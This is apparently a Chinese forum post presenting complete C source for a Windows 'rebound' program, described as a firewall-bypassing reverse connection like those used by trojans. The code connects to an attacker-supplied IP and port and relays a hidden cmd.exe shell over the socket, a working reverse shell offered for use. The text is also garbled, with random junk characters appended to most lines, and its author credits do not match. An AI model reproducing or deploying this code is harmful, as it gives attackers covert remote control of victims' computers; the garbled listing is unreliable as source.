这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {u+=K-Bj
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/* ============================== "dT"6,
Rebound port in Windows NT 10)RLh|+
By wind,2006/7 {T-^xwc
===============================*/ 1 e]D=2y
#include GaV} @Q
#include hxMV?\MYj
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#pragma comment(lib,"wsock32.lib") i[ >U#5
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void OutputShell(); 3 NFo=Z8
SOCKET sClient; y` {|D*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iXq*EZb"R
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void main(int argc,char **argv) "
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{ :K 5?&kT
WSADATA stWsaData; D)Ep!`Q
int nRet; )U7fPKQ
SOCKADDR_IN stSaiClient,stSaiServer; n/x((d%"E
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if(argc != 3) hC9EL=
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{ ?z2! ?
printf("Useage:\n\rRebound DestIP DestPort\n"); {3.n!7+
return; 7t1as.
} 5E*Qqe
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WSAStartup(MAKEWORD(2,2),&stWsaData); R>]7l!3^1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )0DgFA6k_
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stSaiClient.sin_family = AF_INET; T
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stSaiClient.sin_port = htons(0); wph8ln"C-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `HO]
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (
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{ H%etYpD
printf("Bind Socket Failed!\n"); {bR2S&=OmK
return; KVr9kcs
} \yZVn6GVr
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stSaiServer.sin_family = AF_INET; {}rnn$HQe
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S;jD@j\t&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u{h67N
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oK
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{ Bs` {qmbC
printf("Connect Error!"); -FI)o`AE
return; M@P%k`6C
} 4/k`gT4
OutputShell(); NL>Trv5
} /}J_2
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void OutputShell()
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{ o ABrhK
char szBuff[1024]; )Tp"l"(G
SECURITY_ATTRIBUTES stSecurityAttributes; F'sX ^/;
OSVERSIONINFO stOsversionInfo; ]uMZvAjb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dP+wcl4
STARTUPINFO stStartupInfo; U#]J5'i
char *szShell; ,|3_@tUl
PROCESS_INFORMATION stProcessInformation; ?o$t{AQ
unsigned long lBytesRead; 5S2 j5M00
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ok0ZI>=,
}(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HfgTc
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stSecurityAttributes.lpSecurityDescriptor = 0; 1#%H!GKvTU
stSecurityAttributes.bInheritHandle = TRUE; ot[ZFF\
|59)6/i
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /]'&cD 1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m;\nMdn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jf`w8*R
stStartupInfo.wShowWindow = SW_HIDE; rab$[?]
stStartupInfo.hStdInput = hReadPipe; FU/:'/ L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3)ox8,{%}
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GetVersionEx(&stOsversionInfo); [Z"Z5e`
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switch(stOsversionInfo.dwPlatformId) j6RV{Lkr_
{ @&`^#pok
case 1: S{N4[U?V>
szShell = "command.com"; ZJU
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break; o$l8"Uv
default: A[^#8evaK
szShell = "cmd.exe"; R!QR@*N
break; y0(.6HI
} $[?N^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); r7g@(K
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send(sClient,szMsg,77,0); %J9u?-~
while(1) Hv/5)
{ fs;\_E[)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KpLaQb
if(lBytesRead) q[W6I9
{ Khi;2{`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d^nO&it
send(sClient,szBuff,lBytesRead,0); t0e5L{ QJ
} ui,!_O .c
else IqFcrU$4
{ 8y<.yfgG
lBytesRead=recv(sClient,szBuff,1024,0); 2t_g\Q
if(lBytesRead<=0) break; "{qnm+G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "qF/7`e[
} 2 G2+oS
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} \A011R&
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return; F nXm;k,9*
}